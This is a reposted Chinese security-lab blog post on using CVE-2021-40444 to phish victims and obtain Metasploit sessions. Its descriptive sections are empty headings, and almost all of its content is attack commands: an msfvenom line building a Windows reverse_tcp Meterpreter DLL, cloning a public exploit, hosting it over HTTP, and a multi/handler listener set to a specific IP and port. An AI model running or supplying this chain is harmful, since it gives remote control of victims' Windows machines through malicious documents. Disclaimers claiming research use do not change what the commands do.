声明
以下内容，均为文章作者原创，由于传播，利用此文所提供的信息而造成的任何直接或间接的后果和损失，均由使用者本人负责，长白山攻防实验室以及文章作者不承担任何责任。
长白山攻防实验室拥有该文章的修改和解释权。如欲转载或传播此文章，必须保证此文章的副本，包括版权声明等全部内容。声明长白山攻防实验室允许，不得任意修改或增减此文章内容，不得以任何方式将其用于商业目的。
0x01 漏洞描述
0x02 漏洞影响
0x03 测试环境
0x04 漏洞应用场景
sudo apt-get install lcab -y
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=本地监听IP lport=本地监听端口 -f dll -o http.dll
sudo git clone https://github.com/lockedbyte/CVE-2021-40444
python3 -m http.server 80
msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcpmsf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcppayload => windows/x64/meterpreter/reverse_tcpmsf6 exploit(multi/handler) > set LHOST 12.12.12.134 //本地监听IPLHOST => 12.12.12.134msf6 exploit(multi/handler) > set LPORT 4444 //本地监听端口LPORT => 4444msf6 exploit(multi/handler) >exploit
0x05 病毒样本分析
参考链接
-
https://baijiahao.baidu.com/s?id=1715778340261801914
-
https://github.com/lockedbyte/CVE-2021-40444
-
http://www.chinainfosec.org.cn/index.php?m=content&c=index&a=show&catid=57&id=488
-
https://blog.csdn.net/qq_43332010/article/details/120463783
-
https://www.ddosi.org/cve-2021-40444-exp/
▇ 扫码关注我们 ▇
长白山攻防实验室
学习最新技术知识
原文始发于微信公众号（长白山攻防实验室）：利用CVE-2021-40444漏洞钓鱼执法上线MSF
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论